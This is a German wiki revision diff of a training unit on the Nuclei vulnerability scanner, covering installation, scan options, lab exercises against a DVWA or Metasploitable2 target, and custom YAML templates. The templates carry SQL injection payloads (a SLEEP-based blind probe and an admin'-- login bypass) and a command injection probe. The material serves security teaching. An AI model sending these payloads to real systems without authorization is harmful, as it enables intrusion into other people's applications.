Schwachstellenscans mit Nuclei: Unterschied zwischen den Versionen

Aus Xinux Wiki
Zur Navigation springen Zur Suche springen
 
(Eine dazwischenliegende Version desselben Benutzers wird nicht angezeigt)
Zeile 1: Zeile 1:
= Schulungseinheit: Schwachstellenscans mit Nuclei =
+
*[[nuclei-1]]
 
+
*[[nuclei-2]]
== Thema ==
 
*Nuclei – Automatisierter Schwachstellenscanner mit YAML-basierten Templates
 
 
 
== Ziel ==
 
*Teilnehmende verstehen Aufbau und Funktionsweise von Nuclei
 
*Sie führen zielgerichtete Schwachstellenscans durch und werten die Ergebnisse aus
 
*Sie lernen, eigene Templates für spezifische Lücken zu erstellen
 
 
 
= 1. Vorbereiten: Einstieg & Motivation =
 
*Nuclei ist ein schneller, template-basierter Schwachstellenscanner für Webanwendungen und Infrastruktur
 
*Es nutzt YAML-Templates zur Erkennung von Schwachstellen wie:
 
** CVEs
 
** OWASP Top 10
 
** Fehlkonfigurationen
 
** Technologieerkennung
 
** Header- oder Cookie-Manipulation
 
*Automatisierte Schwachstellenerkennung auf mehreren Targets gleichzeitig
 
*Einfache Integration in CI/CD, eigene Tools und Laborszenarien
 
 
 
= 2. Vormachen/Erklären: Grundlagen & Aufbau =
 
 
 
== Installation ==
 
*Installiere die jeweils aktuelle Version von Nuclei über Go:
 
apt install -y golang
 
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
 
export PATH=$PATH:$(go env GOPATH)/bin
 
nuclei -version
 
 
 
== Templates aktualisieren ==
 
nuclei -update-templates
 
 
 
== Grundstruktur eines Befehls ==
 
nuclei -u <ziel> -t <template> -severity <level>
 
 
 
== Wichtige Optionen ==
 
* -u: Einzelnes Ziel (z.B. -u https://ziel.local)
 
* -l: Liste von Zielen (targets.txt)
 
* -t: Template oder Verzeichnis (z.B. cves/, exposures/)
 
* -severity: Filter nach Schweregrad
 
* -rate-limit: Requests pro Sekunde
 
* -timeout / -retries: Scan-Zuverlässigkeit
 
* -proxy: z.B. für Burp-Suite
 
* -json / -o: Berichte
 
 
 
== Beispielhafter Scan ==
 
nuclei -u https://ziel.local -t cves/ -severity critical -rate-limit 50
 
 
 
== Templates anzeigen ==
 
nuclei -tl
 
 
 
== Ergebnis speichern ==
 
nuclei -u https://ziel.local -o ergebnisse.json -json
 
 
 
= 3. Nachmachen/Üben: Aufgaben am Zielsystem =
 
 
 
== Voraussetzungen ==
 
*Angreifer: Kali-Linux mit Nuclei
 
*Ziel: Web-Appliance (z.B. DVWA, Metasploitable2) erreichbar unter http://10.0.10.104
 
*Datei mit Ziel-IP:
 
echo "http://10.0.10.104" > targets.txt
 
 
 
== Aufgabe 1 ==
 
*Führe einen allgemeinen Schwachstellenscan gegen das Ziel aus:
 
nuclei -l targets.txt -severity high,critical
 
 
 
== Aufgabe 2 ==
 
*Suche gezielt nach SQL-Injection-Lücken:
 
nuclei -l targets.txt -tags sqli
 
 
 
== Aufgabe 3 ==
 
*Unterscheide klassische SQLi von Blind SQLi:
 
nuclei -l targets.txt -tags sqli-blind
 
 
 
== Aufgabe 4 ==
 
*Finde eine funktionierende Command Injection:
 
nuclei -l targets.txt -tags cmd-injection
 
 
 
== Aufgabe 5 ==
 
*Scanne mit Proxy (z. B. Burp):
 
nuclei -l targets.txt -proxy http://127.0.0.1:8080
 
 
 
== Aufgabe 6 ==
 
*Erzeuge einen JSON-Report:
 
nuclei -l targets.txt -o report.json -json
 
 
 
= 4. Selbstständige Anwendung: Eigene Templates =
 
 
 
== Ziel ==
 
Teilnehmende erstellen ein eigenes Template für eine bekannte Schwachstelle
 
 
 
== Beispiel 1: Blind SQL Injection ==
 
<pre>
 
id: custom-blind-sqli
 
info:
 
  name: Blind SQLi Test (Sleep Delay)
 
  severity: high
 
  tags: sqli,blind
 
requests:
 
  - method: GET
 
    path:
 
      - "{{BaseURL}}/vuln.php?id=1' AND SLEEP(5)--"
 
    matchers:
 
      - type: dsl
 
        dsl:
 
          - duration>=5
 
</pre>
 
 
 
*Ausführen:
 
nuclei -t ./custom-blind-sqli.yaml -u http://10.0.10.104
 
 
 
== Beispiel 2: Command Injection ==
 
<pre>
 
id: custom-cmd-injection
 
info:
 
  name: CMD Injection (id)
 
  severity: critical
 
  tags: cmd-injection
 
requests:
 
  - method: GET
 
    path:
 
      - "{{BaseURL}}/cmd.php?cmd=id"
 
    matchers:
 
      - type: word
 
        words:
 
          - "uid="
 
</pre>
 
 
 
== Beispiel 3: POST-basierte SQL Injection ==
 
<pre>
 
id: custom-post-sqli
 
info:
 
  name: POST SQL Injection
 
  severity: high
 
  tags: sqli,post
 
requests:
 
  - method: POST
 
    path:
 
      - "{{BaseURL}}/login.php"
 
    body: "user=admin'--&pass=test"
 
    headers:
 
      Content-Type: application/x-www-form-urlencoded
 
    matchers:
 
      - type: word
 
        words:
 
          - "Welcome"
 
</pre>
 
 
 
= Hinweise zur Nachbereitung =
 
*Ergebnisse besprechen, kritisch hinterfragen
 
*Unterschiede zwischen False Positives und echten Lücken erkennen
 
*Sicherer Umgang mit Schwachstellen-Informationen
 
*Vorschläge zur Behebung
 
 
 
= Quellen =
 
*https://nuclei.projectdiscovery.io
 
*https://github.com/projectdiscovery/nuclei
 
*https://github.com/projectdiscovery/nuclei-templates
 
*https://owasp.org/www-project-web-security-testing-guide/
 

Aktuelle Version vom 12. Mai 2025, 16:02 Uhr